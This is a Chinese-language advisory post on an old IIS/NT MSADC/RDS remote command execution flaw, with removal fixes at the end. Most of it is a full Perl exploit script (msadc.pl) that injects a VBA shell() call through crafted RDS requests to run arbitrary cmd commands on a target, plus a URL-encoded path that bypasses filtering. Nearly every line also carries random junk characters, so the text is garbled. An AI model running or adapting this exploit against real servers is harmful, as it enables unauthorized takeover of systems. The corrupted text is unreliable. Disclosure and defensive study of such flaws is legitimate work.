IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
ap$tu3j Ignv|TYG 涉及程序:
Vw;ldEdx Microsoft NT server
gHh.|PysW @;n$ caw 描述:
VgZaDd; 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
5q_OuZ/6 Uh|__DUkh 详细:
y!6: 如果你没有时间读详细内容的话,就删除:
L..X)-D2n c:\Program Files\Common Files\System\Msadc\msadcs.dll
`2(R}zUHN 有关的安全问题就没有了。
D"] [&m `2mbF^-4 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
t{S{!SF4
$Z%aGc* 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
M}oFn}-T9a 关于利用ODBC远程漏洞的描述,请参看:
-IEP?NX @<TfA>*VJ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm X-N$+[# S_ -QvG2 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
};|PFWs http://www.microsoft.com/security/bulletins/MS99-025faq.asp 5 *pN<S G>ptwB81KM 这里不再论述。
e9_O/i N C8W`Oly:] 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
AIxBZt7{b gUszMhHX /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
BQ}.+T\ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
>wS:3$Q $H:h(ia: Qdr-GODx #将下面这段保存为txt文件,然后: "perl -x 文件名"
:%b2;&A[ LI|HET_ #!perl
z vylL
M #
U1HD~ # MSADC/RDS 'usage' (aka exploit) script
C94UF7al #
V-ouIqnI # by rain.forest.puppy
ExP25T #
6j"I5,-~! # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
hC,-9c # beta test and find errors!
WKIiJ{@L .SV3<) use Socket; use Getopt::Std;
6L> "m0 getopts("e:vd:h:XR", \%args);
7@cvy?
v{ \y )4`A print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
!4,xQ^
2SPFjpG8n if (!defined $args{h} && !defined $args{R}) {
0G\myv print qq~
T!xy^n]} Usage: msadc.pl -h <host> { -d <delay> -X -v }
&aAo:pj -h <host> = host you want to scan (ip or domain)
i[\u-TF -d <seconds> = delay between calls, default 1 second
|Sv #f2` -X = dump Index Server path table, if available
U6'haPlOk% -v = verbose
7RFkHME -e = external dictionary file for step 5
ZFuJ2 : wYMX1= Or a -R will resume a command session
9egaN_K f uNXY-; ~; exit;}
DD$Pr&~= 1LIV/l^}f $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
n9/0W%X> if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
_%Ld
Ez if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
jsaCnm>& if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
0\ w[_H $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
yIf}b if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
yj+b/9My
GXlg% if (!defined $args{R}){ $ret = &has_msadc;
(<JDD]J die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
RZh)0S>J FYS83uq0 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
N~J Eia% . "cmd /c ";
}~'Wz*Gm $in=<STDIN>; chomp $in;
}Q^a.`h $command="cmd /c " . $in ;
;OJ0}\*iP8 Tn-]0hWkP if (defined $args{R}) {&load; exit;}
X@q1;J I8]NY !'cW print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
ykhCt\t[ &try_btcustmr;
`80Hxp@ YY~=h5$ print "\nStep 2: Trying to make our own DSN...";
F/>Pvq] &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
j$oZIV7 Y mjS!H print "\nStep 3: Trying known DSNs...";
T5_Cu9>ax &known_dsn;
0%NI-
Zyo <u wCP4E print "\nStep 4: Trying known .mdbs...";
1 ZFSz{ &known_mdb;
.{Oq)^!ot Ka\b_P& if (defined $args{e}){
0w. _}Cz print "\nStep 5: Trying dictionary of DSN names...";
p=gUcO8 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
$i>VI iZ\z!tH R print "Sorry Charley...maybe next time?\n";
ZUW>{'[K exit;
n`Iy7X fGWK&nONyk ##############################################################################
T["(YFCByg P[ 8N58# sub sendraw { # ripped and modded from whisker
Hvo27THLo sleep($delay); # it's a DoS on the server! At least on mine...
Y{tuaBzD my ($pstr)=@_;
/y|r iW socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
K({,]<l5 die("Socket problems\n");
$Xc<K_Z if(connect(S,pack "SnA4x8",2,80,$target)){
ITlkw~'G select(S); $|=1;
j!7Uj] print $pstr; my @in=<S>;
;}'<`(f&nX select(STDOUT); close(S);
KZfRiCZ return @in;
0*x? } else { die("Can't connect...\n"); }}
Vnb#N4vR 3[Iw%% q ##############################################################################
)6+W6: Yg?{x@ sub make_header { # make the HTTP request
0Jh:6F my $msadc=<<EOT
Ps\^OJR POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
t&]Mt7 User-Agent: ACTIVEDATA
E/']M~Q Host: $ip
6J+ZeBk?? Content-Length: $clen
{?hjx+v[ Connection: Keep-Alive
:XZ
pnjj :zRboqe(cc ADCClientVersion:01.06
hz<J8'U Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
K*FAngIB N@0scfO6< --!ADM!ROX!YOUR!WORLD!
\"Iy<zG Content-Type: application/x-varg
Dx'e+Bm Content-Length: $reqlen
dxWw%_Q =
g}yA=. EOT
JvaaBXkS\ ; $msadc=~s/\n/\r\n/g;
c.v)M\: return $msadc;}
[F EQ@ $8r:&Iw ##############################################################################
A,qG*lv B4aZ3.&W sub make_req { # make the RDS request
+(%[f W my ($switch, $p1, $p2)=@_;
3:
Uik my $req=""; my $t1, $t2, $query, $dsn;
O_^h 7 >O~5s.1u if ($switch==1){ # this is the btcustmr.mdb query
nVzo=+Yp $query="Select * from Customers where City=" . make_shell();
V}qmH2h $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
54w-yY $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
a"0~_= 55p=veq \ elsif ($switch==2){ # this is general make table query
90}B*3x $query="create table AZZ (B int, C varchar(10))";
F9W5x=EK\ $dsn="$p1";}
I r~X#$Upc n]Y _C^ elsif ($switch==3){ # this is general exploit table query
}DaYO\:yK* $query="select * from AZZ where C=" . make_shell();
kM`#U
*j $dsn="$p1";}
9l]IE,u |3m%d2V*hF elsif ($switch==4){ # attempt to hork file info from index server
{+Yo&F}n $query="select path from scope()";
mM.&c5U $dsn="Provider=MSIDXS;";}
9G~P)Z!0 qE{S'XyM, elsif ($switch==5){ # bad query
]XU#i#;c $query="select";
(xL=X%6a $dsn="$p1";}
N{g=Pf?I} zhE7+``g $t1= make_unicode($query);
=C|^C $t2= make_unicode($dsn);
J~.kb k $req = "\x02\x00\x03\x00";
qa6~N3* $req.= "\x08\x00" . pack ("S1", length($t1));
f6nltZ $req.= "\x00\x00" . $t1 ;
*gVv74;; $req.= "\x08\x00" . pack ("S1", length($t2));
ez{&Y>n $req.= "\x00\x00" . $t2 ;
n}{cs $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
_8
J(;7 return $req;}
}q9f,mz <lR8MqjM_ ##############################################################################
Hr$5B2' .U_=LV]C sub make_shell { # this makes the shell() statement
d%bL_I) return "'|shell(\"$command\")|'";}
tO7{g x]Ef}g ##############################################################################
`2B+8,{% BxF sub make_unicode { # quick little function to convert to unicode
)
|vFrR my ($in)=@_; my $out;
soF ^G21N for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
g 7X>i: return $out;}
|:z%7J3wP Yo:&\a K[ ##############################################################################
tPsU7bFk odDt.gQXU sub rdo_success { # checks for RDO return success (this is kludge)
DxHeZQ"LL my (@in) = @_; my $base=content_start(@in);
7f>n`nq? if($in[$base]=~/multipart\/mixed/){
rtm28|0H' return 1 if( $in[$base+10]=~/^\x09\x00/ );}
4hIC&W~f return 0;}
\m&:J>^ kWFR(J&R ##############################################################################
Lrq&k40y V
EzIWNV sub make_dsn { # this makes a DSN for us
o;fQ,rP% my @drives=("c","d","e","f");
^-ZqS print "\nMaking DSN: ";
o/R-1\Dn foreach $drive (@drives) {
Wm 61 print "$drive: ";
K#jm6Xh?E my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
)1/O_N6C "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
^gG,}GTl . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
3$Je,|bs $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
Vs
>1%$If return 0 if $2 eq "404"; # not found/doesn't exist
i^#RiCeo if($2 eq "200") {
UWI5/R foreach $line (@results) {
=E}/Z return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
_EP}el } return 0;}
I$$!YMm.N i+}M#Y-O ##############################################################################
("Zi,3"+ -IE;5f#e sub verify_exists {
L6T_&AiL$ my ($page)=@_;
sZc<h]L(g my @results=sendraw("GET $page HTTP/1.0\n\n");
Y%3j>_\; return $results[0];}
D%zIm,bf ",a
fv{C ##############################################################################
ScEM#9T | Z_%>yqDC sub try_btcustmr {
H,'c& my @drives=("c","d","e","f");
2.yzR DfZ my @dirs=("winnt","winnt35","winnt351","win","windows");
A!c.P2 ZD3S|1zSQ foreach $dir (@dirs) {
EOL03N print "$dir -> "; # fun status so you can see progress
Jy9&=Qh foreach $drive (@drives) {
3I]5DW %- print "$drive: "; # ditto
]#`bYh^y $reqlen=length( make_req(1,$drive,$dir) ) - 28;
H
X8q+ $reqlenlen=length( "$reqlen" );
ZYG"nmNd $clen= 206 + $reqlenlen + $reqlen;
"LYob}_z zC7;Zj*k my @results=sendraw(make_header() . make_req(1,$drive,$dir));
Z\x6 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
3jeR;N]x else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
5@Sb[za J#\/znT ##############################################################################
~jgd92`{z V;$lgTs|' sub odbc_error {
?S"xR0 * my (@in)=@_; my $base;
&3rh{" ^9 my $base = content_start(@in);
AK[c!mzx if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
52oR^| $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
<iMLM<J<w $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
'2NeuK -KD $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
--FvE|I return $in[$base+4].$in[$base+5].$in[$base+6];}
T"O! print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
'?\Hm'8 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
di"*K*~y $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
uaiG(O PqfH}d0l ##############################################################################
^pn:SV s:%>H|- sub verbose {
NFQ0/iuW my ($in)=@_;
l1@:&j3h return if !$verbose;
"YivjHa7H print STDOUT "\n$in\n";}
K.z@Vx. %lujme ##############################################################################
@^%# ]x,: ak%8|'} sub save {
Q,scjt[ my ($p1, $p2, $p3, $p4)=@_;
k
v b"n} open(OUT, ">rds.save") || print "Problem saving parameters...\n";
akR*|iK#b print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
1Z`zdZs close OUT;}
!$j'F? 2> 3 Tt8#B ##############################################################################
k7j;'6 56fcifXz@ sub load {
>d=k-d my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
!+i open(IN,"<rds.save") || die("Couldn't open rds.save\n");
{9(N?\S1`a @p=<IN>; close(IN);
o^Ms(?K%t $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
44!bwXz8 $target= inet_aton($ip) || die("inet_aton problems");
E]bjI$j print "Resuming to $ip ...";
>scEdeM $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
]1X];x&e if($p[1]==1) {
V4|pZ] $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
oC[$PPqX# $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
+?%huJYK, my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
W)\~T :Kn if (rdo_success(@results)){print "Success!\n";}
(|W@p\Q else { print "failed\n"; verbose(odbc_error(@results));}}
#U^@)g6 elsif ($p[1]==3){
X"yLo8y8$ if(run_query("$p[3]")){
dD=dPi# print "Success!\n";} else { print "failed\n"; }}
q?`bu:yS elsif ($p[1]==4){
0 ~VniF^ if(run_query($drvst . "$p[3]")){
^*Sb)tu\ W print "Success!\n"; } else { print "failed\n"; }}
j#29L" exit;}
^X^4R1V) X[R/j*K ##############################################################################
DEs/?JZG ,2"-G";!f\ sub create_table {
k5((@[ my ($in)=@_;
zI&oZH^vn $reqlen=length( make_req(2,$in,"") ) - 28;
U\+o$mU^ $reqlenlen=length( "$reqlen" );
9mr99tA $clen= 206 + $reqlenlen + $reqlen;
}=NjFK_6 my @results=sendraw(make_header() . make_req(2,$in,""));
lV3\5AEW return 1 if rdo_success(@results);
pbJs3uIR my $temp= odbc_error(@results); verbose($temp);
z`lDD return 1 if $temp=~/Table 'AZZ' already exists/;
Wfp[)MM; return 0;}
L \pe <`BUk< uf# ##############################################################################
_Y=>^K]9K ?,]25q sub known_dsn {
oTZNW # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
EiSS_Lc my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
G> "w$Us "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
*U8Pjb1 "banner", "banners", "ads", "ADCDemo", "ADCTest");
(,[Oy6o ]"^U foreach $dSn (@dsns) {
q* +}wP print ".";
G >bQlZG next if (!is_access("DSN=$dSn"));
LXrnAt if(create_table("DSN=$dSn")){
JW
(.,Ztm print "$dSn successful\n";
+Ibcc8Qud if(run_query("DSN=$dSn")){
4&}LYSZl print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
G;MmD?VJ g print "Something's borked. Use verbose next time\n";}}} print "\n";}
0X.pI1jCO Yz4Q!tL ##############################################################################
S-*4HV_l tAefBFu sub is_access {
SZNM$X|T my ($in)=@_;
ml\A)8O]j/ $reqlen=length( make_req(5,$in,"") ) - 28;
+Uq$'2CT $reqlenlen=length( "$reqlen" );
3V2"1Ic $clen= 206 + $reqlenlen + $reqlen;
^As^hY^p my @results=sendraw(make_header() . make_req(5,$in,""));
>HXT:0 my $temp= odbc_error(@results);
VD,g verbose($temp); return 1 if ($temp=~/Microsoft Access/);
n)gzHch return 0;}
k68\ _ NUL -b8Vz}Y ##############################################################################
ckS.j)@.c ;mu^WIj sub run_query {
wUv
Zc my ($in)=@_;
o/
ozX4C $reqlen=length( make_req(3,$in,"") ) - 28;
,!Gw40t $reqlenlen=length( "$reqlen" );
abp]qvCV $clen= 206 + $reqlenlen + $reqlen;
ihdN{Mx<2 my @results=sendraw(make_header() . make_req(3,$in,""));
> X<pzD3u return 1 if rdo_success(@results);
rLtB^?A z my $temp= odbc_error(@results); verbose($temp);
,E<(K8 return 0;}
S{&,I2aO `{#0C- ##############################################################################
$C#G8Ck, vvwNJyU- sub known_mdb {
)%I2#Q"Nt- my @drives=("c","d","e","f","g");
}KcvNK ( my @dirs=("winnt","winnt35","winnt351","win","windows");
\9N1: my $dir, $drive, $mdb;
yHsmX2s my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
,3 =|a|p },lHa!<^ # this is sparse, because I don't know of many
A\X?Aq-^' my @sysmdbs=( "\\catroot\\icatalog.mdb",
:XqqhG "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
D6fry\ "\\system32\\certmdb.mdb",
>{C=\F#*L "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
JHC 6l Yi1lvB?m my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
]3nka$wA* "\\cfusion\\cfapps\\forums\\forums_.mdb",
jvv3;lWDL. "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
`7[z%cuK "\\cfusion\\cfapps\\security\\realm_.mdb",
V.?N29CA| "\\cfusion\\cfapps\\security\\data\\realm.mdb",
|uf{:U) "\\cfusion\\database\\cfexamples.mdb",
YMb\v4 "\\cfusion\\database\\cfsnippets.mdb",
>)\x\e "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
5)bf$?d "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
ZCVwQ#Xe+ "\\cfusion\\brighttiger\\database\\cleam.mdb",
)RG@D\t , "\\cfusion\\database\\smpolicy.mdb",
%5Q5xw]w3 "\\cfusion\\database\cypress.mdb",
p=sLKnLmZ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
GgwO>[T "\\website\\cgi-win\\dbsample.mdb",
Sc#B-4m "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
kK\G+{z? "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
N8S!&*m ); #these are just
9.)*z-f$ foreach $drive (@drives) {
Z]OXitt7 foreach $dir (@dirs){
Myaj81 foreach $mdb (@sysmdbs) {
o_R<7o/d| print ".";
'RZ=A+% X if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
3c#oK print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
>zx]%
W if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
R9bsl.e print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
dnRbt{`jP } else { print "Something's borked. Use verbose next time\n"; }}}}}
O<}3\O )G( ZFYv|2l foreach $drive (@drives) {
.LMOmc=( foreach $mdb (@mdbs) {
6:_@ ;/03% print ".";
IdTatE|^ if(create_table($drv . $drive . $dir . $mdb)){
qmQ}
print "\n" . $drive . $dir . $mdb . " successful\n";
vMG >Xb if(run_query($drv . $drive . $dir . $mdb)){
%c:v70*h= print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
s[<a( } else { print "Something's borked. Use verbose next time\n"; }}}}
3*INDD= }
"pUqYMB2i xgeDfpF' ##############################################################################
%8C,9q d^b(Uo=$ sub hork_idx {
z 3((L print "\nAttempting to dump Index Server tables...\n";
d+DdDr print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
+pMa-{ $reqlen=length( make_req(4,"","") ) - 28;
Zfwhg4G~ $reqlenlen=length( "$reqlen" );
vfBIQfH $clen= 206 + $reqlenlen + $reqlen;
v_=xN^R my @results=sendraw2(make_header() . make_req(4,"",""));
k_d) if (rdo_success(@results)){
f0"N my $max=@results; my $c; my %d;
LelCjC{`1 for($c=19; $c<$max; $c++){
;6+e !h'1 $results[$c]=~s/\x00//g;
=T7lv%u $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
Qg9*mlm` $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
3%HF" $Gg $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
,zXP,(x $d{"$1$2"}="";}
q-?
k=RX` foreach $c (keys %d){ print "$c\n"; }
PH!^ww6
} else {print "Index server doesn't seem to be installed.\n"; }}
(S<Z@y+d j<,Ho4v}_ ##############################################################################
itotn!Wb` Z:_ wE62' sub dsn_dict {
!W\Zq+^^J3 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
cl\Gh while(<IN>){
@9$u!ny0 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
%3SBs*? next if (!is_access("DSN=$dSn"));
b{+7sl if(create_table("DSN=$dSn")){
o4Ny9s print "$dSn successful\n";
VT@,RlB0 if(run_query("DSN=$dSn")){
WxE^S ??| print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
VKGH+j[ print "Something's borked. Use verbose next time\n";}}}
oY
NIJXln print "\n"; close(IN);}
C6<*'5T ~%gO +qD ##############################################################################
SK][UxoHm I| Vyv sub sendraw2 { # ripped and modded from whisker
nf%"7 y{dd sleep($delay); # it's a DoS on the server! At least on mine...
dio<?6ZD9P my ($pstr)=@_;
m%$GiNs} socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
0;J#".(KQ die("Socket problems\n");
_U
Q|I|V# if(connect(S,pack "SnA4x8",2,80,$target)){
1UHlA8w7Q print "Connected. Getting data";
A5WchS' open(OUT,">raw.out"); my @in;
-9D2aY_> select(S); $|=1; print $pstr;
c>~q2_}W( while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
E8gbm&x* close(OUT); select(STDOUT); close(S); return @in;
NI<;L m } else { die("Can't connect...\n"); }}
JyiP3whW W'98ues% ##############################################################################
|$>ZGs# GF^)](xY+ sub content_start { # this will take in the server headers
E`A6GX my (@in)=@_; my $c;
=P}BAJ for ($c=1;$c<500;$c++) {
n PAl8 if($in[$c] =~/^\x0d\x0a/){
?@@BIg- if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
EdC^L`:: else { return $c+1; }}}
Jm#mC return -1;} # it should never get here actually
}Cs.Hm0P r}>q*yx: ##############################################################################
Tr\6AN?o 9e aqq sub funky {
n "J+?~9 my (@in)=@_; my $error=odbc_error(@in);
!EwL"4pPw if($error=~/ADO could not find the specified provider/){
:Qc[>:N print "\nServer returned an ADO miscofiguration message\nAborting.\n";
@3aI7U/I exit;}
NP+*L|-; if($error=~/A Handler is required/){
C<G`wXlP| print "\nServer has custom handler filters (they most likely are patched)\n";
M= ]]kJ:I exit;}
\c1NIuJR if($error=~/specified Handler has denied Access/){
178u4$# b print "\nServer has custom handler filters (they most likely are patched)\n";
:6T8\W exit;}}
AcoU.tpP iHYvH
##############################################################################
RX"~m!26
<w1#3Mu' sub has_msadc {
+t8{aaV my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
{J[5 {]Je[ my $base=content_start(@results);
r.~^h^c] return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
QIb4ghm, return 0;}
g!![%*'
b S.)+C2g,@ ########################
=Rw-@*#l Zqp<8M2 .a@>1XO 解决方案:
E0lro+'lS 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
5H{dLZ], 2、移除web 目录: /msadc